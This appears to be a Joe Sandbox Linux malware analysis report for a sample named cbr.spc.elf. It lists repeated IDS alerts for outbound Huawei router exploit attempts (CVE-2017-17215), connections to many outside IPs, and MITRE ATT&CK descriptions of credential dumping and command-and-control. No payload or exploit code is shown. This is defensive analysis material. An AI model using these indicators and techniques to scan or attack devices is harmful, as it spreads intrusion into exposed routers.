Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49012 -> 41.154.111.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49866 -> 223.8.227.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41198 -> 223.8.233.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40922 -> 156.137.24.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33966 -> 196.40.168.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35670 -> 156.40.164.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49352 -> 156.68.142.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41572 -> 46.231.15.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57428 -> 197.180.169.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51380 -> 46.165.55.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53116 -> 197.19.10.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58576 -> 134.86.202.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39514 -> 223.8.96.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53006 -> 181.44.208.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46950 -> 181.75.36.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58986 -> 223.8.7.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53340 -> 196.99.173.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50758 -> 197.16.127.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45012 -> 134.76.175.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58128 -> 197.152.242.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49462 -> 134.87.184.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36012 -> 156.148.48.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52570 -> 41.35.133.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37300 -> 196.6.166.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38636 -> 197.20.229.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59558 -> 196.213.167.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36624 -> 197.122.95.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57086 -> 41.66.105.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46810 -> 41.220.237.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35858 -> 46.170.39.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39186 -> 197.174.225.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59604 -> 197.65.45.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35226 -> 196.127.152.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33122 -> 223.8.73.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40740 -> 196.114.213.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42554 -> 41.228.176.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43466 -> 197.154.103.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33860 -> 134.93.161.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43220 -> 156.160.61.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47076 -> 223.8.244.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56772 -> 181.182.228.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38670 -> 46.205.90.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44950 -> 156.13.118.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49206 -> 181.174.162.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38680 -> 223.8.188.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45366 -> 46.236.64.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58502 -> 156.45.1.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48816 -> 46.201.207.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45338 -> 46.14.69.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51698 -> 196.43.167.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56544 -> 181.87.38.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34548 -> 181.45.240.179:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48918 -> 223.8.126.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48728 -> 181.158.69.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42606 -> 181.98.143.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52756 -> 156.163.195.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50170 -> 41.172.61.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36216 -> 156.62.246.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59644 -> 134.97.23.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43028 -> 197.245.68.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50824 -> 196.26.63.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47672 -> 197.218.93.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52564 -> 223.8.154.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59154 -> 41.178.82.123:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60822 -> 134.145.77.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38516 -> 197.21.114.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43676 -> 156.181.141.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59124 -> 196.13.140.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57770 -> 223.8.156.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57546 -> 223.8.101.170:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47048 -> 223.8.27.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45130 -> 223.8.88.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42210 -> 197.50.17.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39558 -> 156.228.113.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56428 -> 196.89.100.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45950 -> 181.202.229.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46548 -> 196.44.144.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57912 -> 41.231.60.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49614 -> 196.45.83.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53626 -> 181.32.58.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60684 -> 197.99.235.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38970 -> 196.82.234.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57912 -> 41.172.7.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59096 -> 134.244.9.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37932 -> 46.93.2.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40610 -> 196.208.2.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34282 -> 196.156.130.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56652 -> 223.8.181.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44956 -> 197.238.9.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48808 -> 156.224.97.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51034 -> 196.19.79.89:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43160 -> 196.1.6.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53820 -> 197.221.227.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48920 -> 196.56.200.115:37215

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.101.23
Source: unknown	TCP traffic detected without corresponding DNS query: 46.16.1.5
Source: unknown	TCP traffic detected without corresponding DNS query: 40.85.96.133
Source: unknown	TCP traffic detected without corresponding DNS query: 220.75.174.27
Source: unknown	TCP traffic detected without corresponding DNS query: 95.83.196.204
Source: unknown	TCP traffic detected without corresponding DNS query: 90.193.247.158
Source: unknown	TCP traffic detected without corresponding DNS query: 151.128.179.61
Source: unknown	TCP traffic detected without corresponding DNS query: 112.64.201.180
Source: unknown	TCP traffic detected without corresponding DNS query: 17.250.47.110
Source: unknown	TCP traffic detected without corresponding DNS query: 76.52.196.249
Source: unknown	TCP traffic detected without corresponding DNS query: 172.61.207.221
Source: unknown	TCP traffic detected without corresponding DNS query: 84.97.203.161
Source: unknown	TCP traffic detected without corresponding DNS query: 151.76.107.167
Source: unknown	TCP traffic detected without corresponding DNS query: 121.63.117.133
Source: unknown	TCP traffic detected without corresponding DNS query: 221.28.35.224
Source: unknown	TCP traffic detected without corresponding DNS query: 87.72.39.163
Source: unknown	TCP traffic detected without corresponding DNS query: 40.9.147.156
Source: unknown	TCP traffic detected without corresponding DNS query: 8.157.109.141
Source: unknown	TCP traffic detected without corresponding DNS query: 200.40.23.228
Source: unknown	TCP traffic detected without corresponding DNS query: 73.65.47.153
Source: unknown	TCP traffic detected without corresponding DNS query: 213.190.122.105
Source: unknown	TCP traffic detected without corresponding DNS query: 165.215.99.170
Source: unknown	TCP traffic detected without corresponding DNS query: 219.125.170.150
Source: unknown	TCP traffic detected without corresponding DNS query: 171.83.20.153
Source: unknown	TCP traffic detected without corresponding DNS query: 178.224.221.54
Source: unknown	TCP traffic detected without corresponding DNS query: 221.96.248.78
Source: unknown	TCP traffic detected without corresponding DNS query: 90.3.163.168
Source: unknown	TCP traffic detected without corresponding DNS query: 118.97.206.136
Source: unknown	TCP traffic detected without corresponding DNS query: 125.119.106.92
Source: unknown	TCP traffic detected without corresponding DNS query: 72.172.120.37
Source: unknown	TCP traffic detected without corresponding DNS query: 115.18.154.203
Source: unknown	TCP traffic detected without corresponding DNS query: 105.186.0.184
Source: unknown	TCP traffic detected without corresponding DNS query: 194.30.148.60
Source: unknown	TCP traffic detected without corresponding DNS query: 135.194.170.66
Source: unknown	TCP traffic detected without corresponding DNS query: 180.83.247.97
Source: unknown	TCP traffic detected without corresponding DNS query: 42.37.15.205
Source: unknown	TCP traffic detected without corresponding DNS query: 142.72.116.142
Source: unknown	TCP traffic detected without corresponding DNS query: 191.70.93.225
Source: unknown	TCP traffic detected without corresponding DNS query: 193.213.97.124
Source: unknown	TCP traffic detected without corresponding DNS query: 103.142.158.186
Source: unknown	TCP traffic detected without corresponding DNS query: 177.57.73.199
Source: unknown	TCP traffic detected without corresponding DNS query: 155.14.115.129
Source: unknown	TCP traffic detected without corresponding DNS query: 180.149.255.135
Source: unknown	TCP traffic detected without corresponding DNS query: 24.190.197.104
Source: unknown	TCP traffic detected without corresponding DNS query: 133.21.108.118
Source: unknown	TCP traffic detected without corresponding DNS query: 177.175.246.21
Source: unknown	TCP traffic detected without corresponding DNS query: 193.129.208.228
Source: unknown	TCP traffic detected without corresponding DNS query: 222.95.4.164

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: global traffic	TCP traffic: 192.168.2.13:49324 -> 104.168.101.23:8998
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 46.198.63.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 181.96.1.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.91.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 181.210.111.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 197.11.47.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.64.113.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 197.204.237.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 196.178.247.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 197.93.48.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.7.177.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.48.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 134.128.158.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.5.107.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.30.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 196.250.137.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 196.174.172.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 46.25.66.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.39.253.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.23.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.164.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 156.52.8.59:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 134.247.191.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 46.185.117.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 46.131.92.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 156.216.97.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 181.179.170.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.82.186.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.245.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.242.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 181.100.117.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 197.43.229.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.81.101.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 46.88.66.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 134.200.87.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 41.242.134.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 181.177.209.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 156.150.206.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 197.0.218.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:41098 -> 223.8.36.88:37215

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report cbr.spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: cbr.spc.elf PID: 5432, Parent PID: 5356

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: cbr.spc.elf PID: 5434, Parent PID: 5432

General

Process Activities

Process Forked

Chronological Activities

Analysis Process: cbr.spc.elf PID: 5438, Parent PID: 5434

Linux Analysis Report
cbr.spc.elf